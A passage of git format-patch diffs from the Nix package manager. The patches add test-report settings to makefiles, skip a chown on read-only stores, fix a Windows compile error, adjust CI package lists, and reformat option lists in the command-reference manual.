 libexpr-tests_DIR := $(d)
 
diff --git a/tests/unit/libfetchers/local.mk b/tests/unit/libfetchers/local.mk
index d576d28f382..286a590304a 100644
--- a/tests/unit/libfetchers/local.mk
+++ b/tests/unit/libfetchers/local.mk
@@ -4,7 +4,7 @@ programs += libfetchers-tests
 
 libfetchers-tests_NAME = libnixfetchers-tests
 
-libfetchers-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data
+libfetchers-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libfetchers-tests.xml
 
 libfetchers-tests_DIR := $(d)
 
diff --git a/tests/unit/libstore/local.mk b/tests/unit/libstore/local.mk
index 0af1d262222..8d3d6b0afe2 100644
--- a/tests/unit/libstore/local.mk
+++ b/tests/unit/libstore/local.mk
@@ -4,7 +4,7 @@ programs += libstore-tests
 
 libstore-tests_NAME = libnixstore-tests
 
-libstore-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data
+libstore-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libstore-tests.xml
 
 libstore-tests_DIR := $(d)
 
diff --git a/tests/unit/libutil/local.mk b/tests/unit/libutil/local.mk
index b9bddc24d20..404f35cf1ac 100644
--- a/tests/unit/libutil/local.mk
+++ b/tests/unit/libutil/local.mk
@@ -4,7 +4,7 @@ programs += libutil-tests
 
 libutil-tests_NAME = libnixutil-tests
 
-libutil-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data
+libutil-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libutil-tests.xml
 
 libutil-tests_DIR := $(d)
 

From de639ceafe75ae25293f49f170ccad0c3e4a133f Mon Sep 17 00:00:00 2001
From: Jared Baur <jaredbaur@fastmail.com>
Date: Sat, 15 Jun 2024 09:06:35 +0000
Subject: [PATCH 358/528] Don't chown when local-store is read-only

If the local-store is using the read-only flag, the underlying
filesystem might be read-only, thus an attempt to `chown` would always
fail.
---
 src/libstore/local-store.cc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc
index b44879cc917..676a035fa16 100644
--- a/src/libstore/local-store.cc
+++ b/src/libstore/local-store.cc
@@ -233,7 +233,7 @@ LocalStore::LocalStore(const Params & params)
         struct group * gr = getgrnam(settings.buildUsersGroup.get().c_str());
         if (!gr)
             printError("warning: the group '%1%' specified in 'build-users-group' does not exist", settings.buildUsersGroup);
-        else {
+        else if (!readOnly) {
             struct stat st;
             if (stat(realStoreDir.get().c_str(), &st))
                 throw SysError("getting attributes of path '%1%'", realStoreDir);

From b0cfac8f93b3dc22df6bff14b12edc9d00a1d439 Mon Sep 17 00:00:00 2001
From: PoweredByPie <poweredbypie@users.noreply.github.com>
Date: Mon, 17 Jun 2024 00:03:50 -0700
Subject: [PATCH 359/528] Fix compile error on windows

---
 src/libutil/file-descriptor.hh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/libutil/file-descriptor.hh b/src/libutil/file-descriptor.hh
index 492b67d74c9..be61375f64f 100644
--- a/src/libutil/file-descriptor.hh
+++ b/src/libutil/file-descriptor.hh
@@ -157,7 +157,7 @@ void closeOnExec(Descriptor fd);
 #endif
 
 #if defined(_WIN32) && _WIN32_WINNT >= 0x0600
-namespace windows (
+namespace windows {
 
 Path handleToPath(Descriptor handle);
 std::wstring handleToFileName(Descriptor handle);

From 5e806673c3b7dda4a6dcf4fc45a0aa292751e6cb Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 17 Jun 2024 08:29:02 -0400
Subject: [PATCH 360/528] Make `hydraJobs.build` include the constituent
 packages

We were only doing that for the more exotic builds, just forgot.
---
 maintainers/hydra.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/maintainers/hydra.nix b/maintainers/hydra.nix
index d53647549bf..8ccf2f951f6 100644
--- a/maintainers/hydra.nix
+++ b/maintainers/hydra.nix
@@ -41,7 +41,8 @@ let
 in
 {
   # Binary package for various platforms.
-  build = forAllSystems (system: self.packages.${system}.nix);
+  build = forAllPackages (pkgName:
+    forAllSystems (system: self.packages.${system}.${pkgName}));
 
   shellInputs = forAllSystems (system: self.devShells.${system}.default.inputDerivation);
 

From c9cdc2423acb84714f2434333dbadfd1acaa9d26 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 17 Jun 2024 09:04:41 -0400
Subject: [PATCH 361/528] Temporarily remove the Meson builds from `packages`
 in the flake

This will avoid some out-of-memory issues in GitHub actions that result
from num jobs > 1 and num cores = 4. Once we only have the Meson build
system, this problem should go away, and we can reenable these jobs.
---
 flake.nix             | 7 +++++--
 maintainers/hydra.nix | 2 +-
 2 files changed, 6 insertions(+), 3 deletions(-)

diff --git a/flake.nix b/flake.nix
index 377247cb84c..9f494cb15f5 100644
--- a/flake.nix
+++ b/flake.nix
@@ -270,8 +270,11 @@
           (lib.genAttrs stdenvs (_: { })))
         {
           "nix" = { };
-          "nix-util" = { };
-          "nix-store" = { };
+          # Temporarily disabled because GitHub Actions OOM issues. Once
+          # the old build system is gone and we are back to one build
+          # system, we should reenable these.
+          #"nix-util" = { };
+          #"nix-store" = { };
         }
         // lib.optionalAttrs (builtins.elem system linux64BitSystems) {
         dockerImage =
diff --git a/maintainers/hydra.nix b/maintainers/hydra.nix
index 8ccf2f951f6..cc0dadac939 100644
--- a/maintainers/hydra.nix
+++ b/maintainers/hydra.nix
@@ -42,7 +42,7 @@ in
 {
   # Binary package for various platforms.
   build = forAllPackages (pkgName:
-    forAllSystems (system: self.packages.${system}.${pkgName}));
+    forAllSystems (system: nixpkgsFor.${system}.native.${pkgName}));
 
   shellInputs = forAllSystems (system: self.devShells.${system}.default.inputDerivation);
 

From 4f340213bbfe9e372eea1eb02230720a5b5ba2b8 Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Mon, 17 Jun 2024 17:49:09 +0200
Subject: [PATCH 362/528] use separate paragraphs inside list items

---
 doc/manual/src/command-ref/nix-channel.md     | 18 ++++---
 .../src/command-ref/nix-collect-garbage.md    |  6 ++-
 .../command-ref/nix-env/delete-generations.md |  9 ++--
 .../src/command-ref/nix-env/env-common.md     |  3 +-
 .../src/command-ref/nix-env/opt-common.md     | 12 +++--
 doc/manual/src/command-ref/nix-env/query.md   | 54 ++++++++++++-------
 doc/manual/src/command-ref/nix-env/upgrade.md | 18 ++++---
 doc/manual/src/command-ref/nix-hash.md        | 33 ++++++++----
 doc/manual/src/command-ref/nix-instantiate.md | 24 ++++++---
 .../src/command-ref/nix-prefetch-url.md       | 15 ++++--
 doc/manual/src/command-ref/nix-shell.md       | 24 ++++++---
 .../src/command-ref/nix-store/add-fixed.md    |  3 +-
 doc/manual/src/command-ref/nix-store/gc.md    | 12 +++--
 doc/manual/src/command-ref/nix-store/query.md | 48 +++++++++++------
 .../src/command-ref/nix-store/realise.md      |  9 ++--
 doc/manual/src/command-ref/nix-store/serve.md |  3 +-
 .../src/command-ref/nix-store/verify.md       |  6 ++-
 17 files changed, 198 insertions(+), 99 deletions(-)

diff --git a/doc/manual/src/command-ref/nix-channel.md b/doc/manual/src/command-ref/nix-channel.md
index cebbc7b00d0..99f6e37cfcf 100644
--- a/doc/manual/src/command-ref/nix-channel.md
+++ b/doc/manual/src/command-ref/nix-channel.md
@@ -27,7 +27,8 @@ The moving parts of channels are:
 
 This command has the following operations:
 
-  - `--add` *url* \[*name*\]\
+  - `--add` *url* \[*name*\]
+
     Add a channel *name* located at *url* to the list of subscribed channels.
     If *name* is omitted, default to the last component of *url*, with the suffixes `-stable` or `-unstable` removed.
 
@@ -39,17 +40,21 @@ This command has the following operations:
     A channel URL must point to a directory containing a file `nixexprs.tar.gz`.
     At the top level, that tarball must contain a single directory with a `default.nix` file that serves as the channel’s entry point.
 
-  - `--remove` *name*\
+  - `--remove` *name*
+
     Remove the channel *name* from the list of subscribed channels.
 
-  - `--list`\
+  - `--list`
+
     Print the names and URLs of all subscribed channels on standard output.
 
-  - `--update` \[*names*…\]\
+  - `--update` \[*names*…\]
+
     Download the Nix expressions of subscribed channels and create a new generation.
     Update all channels if none is specified, and only those included in *names* otherwise.
 
-  - `--list-generations`\
+  - `--list-generations`
+
     Prints a list of all the current existing generations for the
     channel profile.
 
@@ -58,7 +63,8 @@ This command has the following operations:
     nix-env --profile /nix/var/nix/profiles/per-user/$USER/channels --list-generations
     ```
 
-  - `--rollback` \[*generation*\]\
+  - `--rollback` \[*generation*\]
+
     Revert channels to the state before the last call to `nix-channel --update`.
     Optionally, you can specify a specific channel *generation* number to restore.
 
diff --git a/doc/manual/src/command-ref/nix-collect-garbage.md b/doc/manual/src/command-ref/nix-collect-garbage.md
index 8e1307c4875..2136d28e929 100644
--- a/doc/manual/src/command-ref/nix-collect-garbage.md
+++ b/doc/manual/src/command-ref/nix-collect-garbage.md
@@ -48,12 +48,14 @@ Instead, it looks in a few locations, and acts on all profiles it finds there:
 
 These options are for deleting old [profiles] prior to deleting unreachable [store objects].
 
-- <span id="opt-delete-old">[`--delete-old`](#opt-delete-old)</span> / `-d`\
+- <span id="opt-delete-old">[`--delete-old`](#opt-delete-old)</span> / `-d`
+
   Delete all old generations of profiles.
 
   This is the equivalent of invoking [`nix-env --delete-generations old`](@docroot@/command-ref/nix-env/delete-generations.md#generations-old) on each found profile.
 
-- <span id="opt-delete-older-than">[`--delete-older-than`](#opt-delete-older-than)</span> *period*\
+- <span id="opt-delete-older-than">[`--delete-older-than`](#opt-delete-older-than)</span> *period*
+
   Delete all generations of profiles older than the specified amount (except for the generations that were active at that point in time).
   *period* is a value such as `30d`, which would mean 30 days.
 
diff --git a/doc/manual/src/command-ref/nix-env/delete-generations.md b/doc/manual/src/command-ref/nix-env/delete-generations.md
index ae618b2c611..b1ff0bb6941 100644
--- a/doc/manual/src/command-ref/nix-env/delete-generations.md
+++ b/doc/manual/src/command-ref/nix-env/delete-generations.md
@@ -12,7 +12,8 @@ This operation deletes the specified generations of the current profile.
 
 *generations* can be a one of the following:
 
-- <span id="generations-list">[`<number>...`](#generations-list)</span>:\
+- <span id="generations-list">[`<number>...`](#generations-list)</span>
+
   A list of generation numbers, each one a separate command-line argument.
 
   Delete exactly the profile generations given by their generation number.
@@ -30,7 +31,8 @@ This operation deletes the specified generations of the current profile.
   > Because one can roll back to a previous generation, it is possible to have generations newer than the current one.
   > They will also be deleted.
 
-- <span id="generations-time">[`<number>d`](#generations-time)</span>:\
+- <span id="generations-time">[`<number>d`](#generations-time)</span>
+
   The last *number* days
 
   *Example*: `30d`
@@ -38,7 +40,8 @@ This operation deletes the specified generations of the current profile.
   Delete all generations created more than *number* days ago, except the most recent one of them.
   This allows rolling back to generations that were available within the specified period.
 
-- <span id="generations-count">[`+<number>`](#generations-count)</span>:\
+- <span id="generations-count">[`+<number>`](#generations-count)</span>
+
   The last *number* generations up to the present
 
   *Example*: `+5`
diff --git a/doc/manual/src/command-ref/nix-env/env-common.md b/doc/manual/src/command-ref/nix-env/env-common.md
index 7358179592e..200da7219bd 100644
--- a/doc/manual/src/command-ref/nix-env/env-common.md
+++ b/doc/manual/src/command-ref/nix-env/env-common.md
@@ -1,6 +1,7 @@
 # Environment variables
 
-- `NIX_PROFILE`\
+- `NIX_PROFILE`
+
   Location of the Nix profile. Defaults to the target of the symlink
   `~/.nix-profile`, if it exists, or `/nix/var/nix/profiles/default`
   otherwise.
diff --git a/doc/manual/src/command-ref/nix-env/opt-common.md b/doc/manual/src/command-ref/nix-env/opt-common.md
index 636281b6d36..3ece3e8814a 100644
--- a/doc/manual/src/command-ref/nix-env/opt-common.md
+++ b/doc/manual/src/command-ref/nix-env/opt-common.md
@@ -2,7 +2,8 @@
 
 The following options are allowed for all `nix-env` operations, but may not always have an effect.
 
-  - `--file` / `-f` *path*\
+  - `--file` / `-f` *path*
+
     Specifies the Nix expression (designated below as the *active Nix
     expression*) used by the `--install`, `--upgrade`, and `--query
     --available` operations to obtain derivations. The default is
@@ -13,13 +14,15 @@ The following options are allowed for all `nix-env` operations, but may not alwa
     unpacked to a temporary location. The tarball must include a single
     top-level directory containing at least a file named `default.nix`.
 
-  - `--profile` / `-p` *path*\
+  - `--profile` / `-p` *path*
+
     Specifies the profile to be used by those operations that operate on
     a profile (designated below as the *active profile*). A profile is a
     sequence of user environments called *generations*, one of which is
     the *current generation*.
 
-  - `--dry-run`\
+  - `--dry-run`
+
     For the `--install`, `--upgrade`, `--uninstall`,
     `--switch-generation`, `--delete-generations` and `--rollback`
     operations, this flag will cause `nix-env` to print what *would* be
@@ -29,7 +32,8 @@ The following options are allowed for all `nix-env` operations, but may not alwa
     [substituted](@docroot@/glossary.md) (i.e., downloaded) and which paths
     will be built from source (because no substitute is available).
 
-  - `--system-filter` *system*\
+  - `--system-filter` *system*
+
     By default, operations such as `--query
                     --available` show derivations matching any platform. This option
     allows you to use derivations for the specified platform *system*.
diff --git a/doc/manual/src/command-ref/nix-env/query.md b/doc/manual/src/command-ref/nix-env/query.md
index c9b4d851325..c67794ed58e 100644
--- a/doc/manual/src/command-ref/nix-env/query.md
+++ b/doc/manual/src/command-ref/nix-env/query.md
@@ -35,11 +35,13 @@ The derivations are sorted by their `name` attributes.
 The following flags specify the set of things on which the query
 operates.
 
-  - `--installed`\
+  - `--installed`
+
     The query operates on the store paths that are installed in the
     current generation of the active profile. This is the default.
 
-  - `--available`; `-a`\
+  - `--available` / `-a`
+
     The query operates on the derivations that are available in the
     active Nix expression.
 
@@ -50,24 +52,28 @@ selected derivations. Multiple flags may be specified, in which case the
 information is shown in the order given here. Note that the name of the
 derivation is shown unless `--no-name` is specified.
 
-  - `--xml`\
+  - `--xml`
+
     Print the result in an XML representation suitable for automatic
     processing by other tools. The root element is called `items`, which
     contains a `item` element for each available or installed
     derivation. The fields discussed below are all stored in attributes
     of the `item` elements.
 
-  - `--json`\
+  - `--json`
+
     Print the result in a JSON representation suitable for automatic
     processing by other tools.
 
-  - `--prebuilt-only` / `-b`\
+  - `--prebuilt-only` / `-b`
+
     Show only derivations for which a substitute is registered, i.e.,
     there is a pre-built binary available that can be downloaded in lieu
     of building the derivation. Thus, this shows all packages that
     probably can be installed quickly.
 
-  - `--status`; `-s`\
+  - `--status` / `-s`
+
     Print the *status* of the derivation. The status consists of three
     characters. The first is `I` or `-`, indicating whether the
     derivation is currently installed in the current generation of the
@@ -78,49 +84,61 @@ derivation is shown unless `--no-name` is specified.
     derivation to be built. The third is `S` or `-`, indicating whether
     a substitute is available for the derivation.
 
-  - `--attr-path`; `-P`\
+  - `--attr-path` / `-P`
+
     Print the *attribute path* of the derivation, which can be used to
     unambiguously select it using the `--attr` option available in
     commands that install derivations like `nix-env --install`. This
     option only works together with `--available`
 
-  - `--no-name`\
+  - `--no-name`
+
     Suppress printing of the `name` attribute of each derivation.
 
-  - `--compare-versions` / `-c`\
+  - `--compare-versions` / `-c`
+
     Compare installed versions to available versions, or vice versa (if
     `--available` is given). This is useful for quickly seeing whether
     upgrades for installed packages are available in a Nix expression. A
     column is added with the following meaning:
 
-      - `<` *version*\
+      - `<` *version*
+
         A newer version of the package is available or installed.
 
-      - `=` *version*\
+      - `=` *version*
+
         At most the same version of the package is available or
         installed.
 
-      - `>` *version*\
+      - `>` *version*
+
         Only older versions of the package are available or installed.
 
-      - `- ?`\
+      - `- ?`
+
         No version of the package is available or installed.
 
-  - `--system`\
+  - `--system`
+
     Print the `system` attribute of the derivation.
 
-  - `--drv-path`\
+  - `--drv-path`
+
     Print the path of the [store derivation](@docroot@/glossary.md#gloss-store-derivation).
 
-  - `--out-path`\
+  - `--out-path`
+
     Print the output path of the derivation.
 
-  - `--description`\
+  - `--description`
+
     Print a short (one-line) description of the derivation, if
     available. The description is taken from the `meta.description`
     attribute of the derivation.
 
-  - `--meta`\
+  - `--meta`
+
     Print all of the meta-attributes of the derivation. This option is
     only available with `--xml` or `--json`.
 
diff --git a/doc/manual/src/command-ref/nix-env/upgrade.md b/doc/manual/src/command-ref/nix-env/upgrade.md
index 322dfbda22a..dc99064b954 100644
--- a/doc/manual/src/command-ref/nix-env/upgrade.md
+++ b/doc/manual/src/command-ref/nix-env/upgrade.md
@@ -28,36 +28,42 @@ version is installed.
 
 # Flags
 
-  - `--lt`\
+  - `--lt`
+
     Only upgrade a derivation to newer versions. This is the default.
 
-  - `--leq`\
+  - `--leq`
+
     In addition to upgrading to newer versions, also “upgrade” to
     derivations that have the same version. Version are not a unique
     identification of a derivation, so there may be many derivations
     that have the same version. This flag may be useful to force
     “synchronisation” between the installed and available derivations.
 
-  - `--eq`\
+  - `--eq`
+
     *Only* “upgrade” to derivations that have the same version. This may
     not seem very useful, but it actually is, e.g., when there is a new
     release of Nixpkgs and you want to replace installed applications
     with the same versions built against newer dependencies (to reduce
     the number of dependencies floating around on your system).
 
-  - `--always`\
+  - `--always`
+
     In addition to upgrading to newer versions, also “upgrade” to
     derivations that have the same or a lower version. I.e., derivations
     may actually be downgraded depending on what is available in the
     active Nix expression.
 
-  - `--prebuilt-only` / `-b`\
+  - `--prebuilt-only` / `-b`
+
     Use only derivations for which a substitute is registered, i.e.,
     there is a pre-built binary available that can be downloaded in lieu
     of building the derivation. Thus, no packages will be built from
     source.
 
-  - `--preserve-installed` / `-P`\
+  - `--preserve-installed` / `-P`
+
     Do not remove derivations with a name matching one of the
     derivations being installed. Usually, trying to have two versions of
     the same package installed in the same generation of a profile will
diff --git a/doc/manual/src/command-ref/nix-hash.md b/doc/manual/src/command-ref/nix-hash.md
index 24e91df12a3..4762600c29f 100644
--- a/doc/manual/src/command-ref/nix-hash.md
+++ b/doc/manual/src/command-ref/nix-hash.md
@@ -29,7 +29,8 @@ md5sum`.
 
 # Options
 
-  - `--flat`\
+  - `--flat`
+
     Print the cryptographic hash of the contents of each regular file *path*.
     That is, instead of computing
     the hash of the [Nix Archive (NAR)](@docroot@/store/file-system-object/content-address.md#serial-nix-archive) of *path*,
@@ -38,43 +39,53 @@ md5sum`.
     The result is identical to that produced by the GNU commands
     `md5sum` and `sha1sum`.
 
-  - `--base16`\
+  - `--base16`
+
     Print the hash in a hexadecimal representation (default).
 
-  - `--base32`\
+  - `--base32`
+
     Print the hash in a base-32 representation rather than hexadecimal.
     This base-32 representation is more compact and can be used in Nix
     expressions (such as in calls to `fetchurl`).
 
-  - `--base64`\
+  - `--base64`
+
     Similar to --base32, but print the hash in a base-64 representation,
     which is more compact than the base-32 one.
 
-  - `--sri`\
+  - `--sri`
+
     Print the hash in SRI format with base-64 encoding.
     The type of hash algorithm will be prepended to the hash string,
     followed by a hyphen (-) and the base-64 hash body.
 
-  - `--truncate`\
+  - `--truncate`
+
     Truncate hashes longer than 160 bits (such as SHA-256) to 160 bits.
 
-  - `--type` *hashAlgo*\
+  - `--type` *hashAlgo*
+
     Use the specified cryptographic hash algorithm, which can be one of
     `md5`, `sha1`, `sha256`, and `sha512`.
 
-  - `--to-base16`\
+  - `--to-base16`
+
     Don’t hash anything, but convert the base-32 hash representation
     *hash* to hexadecimal.
 
-  - `--to-base32`\
+  - `--to-base32`
+
     Don’t hash anything, but convert the hexadecimal hash representation
     *hash* to base-32.
 
-  - `--to-base64`\
+  - `--to-base64`
+
     Don’t hash anything, but convert the hexadecimal hash representation
     *hash* to base-64.
 
-  - `--to-sri`\
+  - `--to-sri`
+
     Don’t hash anything, but convert the hexadecimal hash representation
     *hash* to SRI.
 
diff --git a/doc/manual/src/command-ref/nix-instantiate.md b/doc/manual/src/command-ref/nix-instantiate.md
index dffbb2d70e1..554784b63ea 100644
--- a/doc/manual/src/command-ref/nix-instantiate.md
+++ b/doc/manual/src/command-ref/nix-instantiate.md
@@ -30,14 +30,17 @@ standard input.
 
 # Options
 
-  - `--add-root` *path*\
+  - `--add-root` *path*
+
     See the [corresponding option](nix-store.md) in `nix-store`.
 
-  - `--parse`\
+  - `--parse`
+
     Just parse the input files, and print their abstract syntax trees on
     standard output as a Nix expression.
 
-  - `--eval`\
+  - `--eval`
+
     Just parse and evaluate the input files, and print the resulting
     values on standard output. No instantiation of store derivations
     takes place.
@@ -80,14 +83,16 @@ standard input.
     > </expr>
     > ```
 
-  - `--find-file`\
+  - `--find-file`
+
     Look up the given files in Nix’s search path (as specified by the
     `NIX_PATH` environment variable). If found, print the corresponding
     absolute paths on standard output. For instance, if `NIX_PATH` is
     `nixpkgs=/home/alice/nixpkgs`, then `nix-instantiate --find-file
     nixpkgs/default.nix` will print `/home/alice/nixpkgs/default.nix`.
 
-  - `--strict`\
+  - `--strict`
+
     When used with `--eval`, recursively evaluate list elements and
     attributes. Normally, such sub-expressions are left unevaluated
     (since the Nix language is lazy).
@@ -97,17 +102,20 @@ standard input.
     > This option can cause non-termination, because lazy data
     > structures can be infinitely large.
 
-  - `--json`\
+  - `--json`
+
     When used with `--eval`, print the resulting value as an JSON
     representation of the abstract syntax tree rather than as a Nix expression.
 
-  - `--xml`\
+  - `--xml`
+
     When used with `--eval`, print the resulting value as an XML
     representation of the abstract syntax tree rather than as a Nix expression.
     The schema is the same as that used by the [`toXML`
     built-in](../language/builtins.md).
 
-  - `--read-write-mode`\
+  - `--read-write-mode`
+
     When used with `--eval`, perform evaluation in read/write mode so
     nix language features that require it will still work (at the cost
     of needing to do instantiation of every evaluated derivation). If
diff --git a/doc/manual/src/command-ref/nix-prefetch-url.md b/doc/manual/src/command-ref/nix-prefetch-url.md
index 45ef01e02cc..30973811398 100644
--- a/doc/manual/src/command-ref/nix-prefetch-url.md
+++ b/doc/manual/src/command-ref/nix-prefetch-url.md
@@ -39,23 +39,28 @@ the path of the downloaded file in the Nix store is also printed.
 
 # Options
 
-  - `--type` *hashAlgo*\
+  - `--type` *hashAlgo*
+
     Use the specified cryptographic hash algorithm,
     which can be one of `md5`, `sha1`, `sha256`, and `sha512`.
     The default is `sha256`.
 
-  - `--print-path`\
+  - `--print-path`
+
     Print the store path of the downloaded file on standard output.
 
-  - `--unpack`\
+  - `--unpack`
+
     Unpack the archive (which must be a tarball or zip file) and add the
     result to the Nix store. The resulting hash can be used with
     functions such as Nixpkgs’s `fetchzip` or `fetchFromGitHub`.
 
-  - `--executable`\
+  - `--executable`
+
     Set the executable bit on the downloaded file.
 
-  - `--name` *name*\
+  - `--name` *name*
+
     Override the name of the file in the Nix store. By default, this is
     `hash-basename`, where *basename* is the last component of *url*.
     Overriding the name is necessary when *basename* contains characters
diff --git a/doc/manual/src/command-ref/nix-shell.md b/doc/manual/src/command-ref/nix-shell.md
index a4dd051fca9..16b270de745 100644
--- a/doc/manual/src/command-ref/nix-shell.md
+++ b/doc/manual/src/command-ref/nix-shell.md
@@ -60,7 +60,8 @@ All options not listed here are passed to `nix-store
 --realise`, except for `--arg` and `--attr` / `-A` which are passed to
 `nix-instantiate`.
 
-  - `--command` *cmd*\
+  - `--command` *cmd*
+
     In the environment of the derivation, run the shell command *cmd*.
     This command is executed in an interactive shell. (Use `--run` to
     use a non-interactive shell instead.) However, a call to `exit` is
@@ -70,34 +71,40 @@ All options not listed here are passed to `nix-store
     drop you into the interactive shell. This can be useful for doing
     any additional initialisation.
 
-  - `--run` *cmd*\
+  - `--run` *cmd*
+
     Like `--command`, but executes the command in a non-interactive
     shell. This means (among other things) that if you hit Ctrl-C while
     the command is running, the shell exits.
 
-  - `--exclude` *regexp*\
+  - `--exclude` *regexp*
+
     Do not build any dependencies whose store path matches the regular
     expression *regexp*. This option may be specified multiple times.
 
-  - `--pure`\
+  - `--pure`
+
     If this flag is specified, the environment is almost entirely
     cleared before the interactive shell is started, so you get an
     environment that more closely corresponds to the “real” Nix build. A
     few variables, in particular `HOME`, `USER` and `DISPLAY`, are
     retained.
 
-  - `--packages` / `-p` *packages*…\
+  - `--packages` / `-p` *packages*…
+
     Set up an environment in which the specified packages are present.
     The command line arguments are interpreted as attribute names inside
     the Nix Packages collection. Thus, `nix-shell --packages libjpeg openjdk`
     will start a shell in which the packages denoted by the attribute
     names `libjpeg` and `openjdk` are present.
 
-  - `-i` *interpreter*\
+  - `-i` *interpreter*
+
     The chained script interpreter to be invoked by `nix-shell`. Only
     applicable in `#!`-scripts (described below).
 
-  - `--keep` *name*\
+  - `--keep` *name*
+
     When a `--pure` shell is started, keep the listed environment
     variables.
 
@@ -105,7 +112,8 @@ All options not listed here are passed to `nix-store
 
 # Environment variables
 
-  - `NIX_BUILD_SHELL`\
+  - `NIX_BUILD_SHELL`
+
     Shell used to start the interactive environment. Defaults to the
     `bash` found in `<nixpkgs>`, falling back to the `bash` found in
     `PATH` if not found.
diff --git a/doc/manual/src/command-ref/nix-store/add-fixed.md b/doc/manual/src/command-ref/nix-store/add-fixed.md
index d25db091ceb..3de25194c22 100644
--- a/doc/manual/src/command-ref/nix-store/add-fixed.md
+++ b/doc/manual/src/command-ref/nix-store/add-fixed.md
@@ -16,7 +16,8 @@ public url or broke since the download expression was written.
 
 This operation has the following options:
 
-  - `--recursive`\
+  - `--recursive`
+
     Use recursive instead of flat hashing mode, used when adding
     directories to the store.
 
diff --git a/doc/manual/src/command-ref/nix-store/gc.md b/doc/manual/src/command-ref/nix-store/gc.md
index 7be0d559add..07fd452ceb6 100644
--- a/doc/manual/src/command-ref/nix-store/gc.md
+++ b/doc/manual/src/command-ref/nix-store/gc.md
@@ -14,18 +14,21 @@ reachable via file system references from a set of “roots”, are deleted.
 
 The following suboperations may be specified:
 
-  - `--print-roots`\
+  - `--print-roots`
+
     This operation prints on standard output the set of roots used by
     the garbage collector.
 
-  - `--print-live`\
+  - `--print-live`
+
     This operation prints on standard output the set of “live” store
     paths, which are all the store paths reachable from the roots. Live
     paths should never be deleted, since that would break consistency —
     it would become possible that applications are installed that
     reference things that are no longer present in the store.
 
-  - `--print-dead`\
+  - `--print-dead`
+
     This operation prints out on standard output the set of “dead” store
     paths, which is just the opposite of the set of live paths: any path
     in the store that is not live (with respect to the roots) is dead.
@@ -33,7 +36,8 @@ The following suboperations may be specified:
 By default, all unreachable paths are deleted. The following options
 control what gets deleted and in what order:
 
-  - `--max-freed` *bytes*\
+  - `--max-freed` *bytes*
+
     Keep deleting paths until at least *bytes* bytes have been deleted,
     then stop. The argument *bytes* can be followed by the
     multiplicative suffix `K`, `M`, `G` or `T`, denoting KiB, MiB, GiB
diff --git a/doc/manual/src/command-ref/nix-store/query.md b/doc/manual/src/command-ref/nix-store/query.md
index 0bcacfe0cd7..a703b002bba 100644
--- a/doc/manual/src/command-ref/nix-store/query.md
+++ b/doc/manual/src/command-ref/nix-store/query.md
@@ -24,25 +24,29 @@ symlink.
 
 # Common query options
 
-  - `--use-output`; `-u`\
+  - `--use-output` / `-u`
+
     For each argument to the query that is a [store derivation], apply the
     query to the output path of the derivation instead.
 
-  - `--force-realise`; `-f`\
+  - `--force-realise` / `-f`
+
     Realise each argument to the query first (see [`nix-store --realise`](./realise.md)).
 
 [store derivation]: @docroot@/glossary.md#gloss-store-derivation
 
 # Queries
 
-  - `--outputs`\
+  - `--outputs`
+
     Prints out the [output paths] of the store
     derivations *paths*. These are the paths that will be produced when
     the derivation is built.
 
     [output paths]: @docroot@/glossary.md#gloss-output-path
 
-  - `--requisites`; `-R`\
+  - `--requisites` / `-R`
+
     Prints out the [closure] of the store path *paths*.
 
     [closure]: @docroot@/glossary.md#gloss-closure
@@ -61,27 +65,31 @@ symlink.
     dependencies) is obtained by distributing the closure of a store
     derivation and specifying the option `--include-outputs`.
 
-  - `--references`\
+  - `--references`
+
     Prints the set of [references] of the store paths
     *paths*, that is, their immediate dependencies. (For *all*
     dependencies, use `--requisites`.)
 
     [references]: @docroot@/glossary.md#gloss-reference
 
-  - `--referrers`\
+  - `--referrers`
+
     Prints the set of *referrers* of the store paths *paths*, that is,
     the store paths currently existing in the Nix store that refer to
     one of *paths*. Note that contrary to the references, the set of
     referrers is not constant; it can change as store paths are added or
     removed.
 
-  - `--referrers-closure`\
+  - `--referrers-closure`
+
     Prints the closure of the set of store paths *paths* under the
     referrers relation; that is, all store paths that directly or
     indirectly refer to one of *paths*. These are all the path currently
     in the Nix store that are dependent on *paths*.
 
-  - `--deriver`; `-d`\
+  - `--deriver` / `-d`
+
     Prints the [deriver] that was used to build the store paths *paths*. If
     the path has no deriver (e.g., if it is a source file), or if the
     deriver is not known (e.g., in the case of a binary-only
@@ -92,12 +100,14 @@ symlink.
 
     [deriver]: @docroot@/glossary.md#gloss-deriver
 
-  - `--valid-derivers`\
+  - `--valid-derivers`
+
     Prints a set of derivation files (`.drv`) which are supposed produce
     said paths when realized. Might print nothing, for example for source paths
     or paths subsituted from a binary cache.
 
-  - `--graph`\
+  - `--graph`
+
     Prints the references graph of the store paths *paths* in the format
     of the `dot` tool of AT\&T's [Graphviz
     package](http://www.graphviz.org/). This can be used to visualise
@@ -105,39 +115,45 @@ symlink.
     this to a store derivation. To obtain a runtime dependency graph,
     apply it to an output path.
 
-  - `--tree`\
+  - `--tree`
+
     Prints the references graph of the store paths *paths* as a nested
     ASCII tree. References are ordered by descending closure size; this
     tends to flatten the tree, making it more readable. The query only
     recurses into a store path when it is first encountered; this
     prevents a blowup of the tree representation of the graph.
 
-  - `--graphml`\
+  - `--graphml`
+
     Prints the references graph of the store paths *paths* in the
     [GraphML](http://graphml.graphdrawing.org/) file format. This can be
     used to visualise dependency graphs. To obtain a build-time
     dependency graph, apply this to a [store derivation]. To obtain a
     runtime dependency graph, apply it to an output path.
 
-  - `--binding` *name*; `-b` *name*\
+  - `--binding` *name* / `-b` *name*
+
     Prints the value of the attribute *name* (i.e., environment
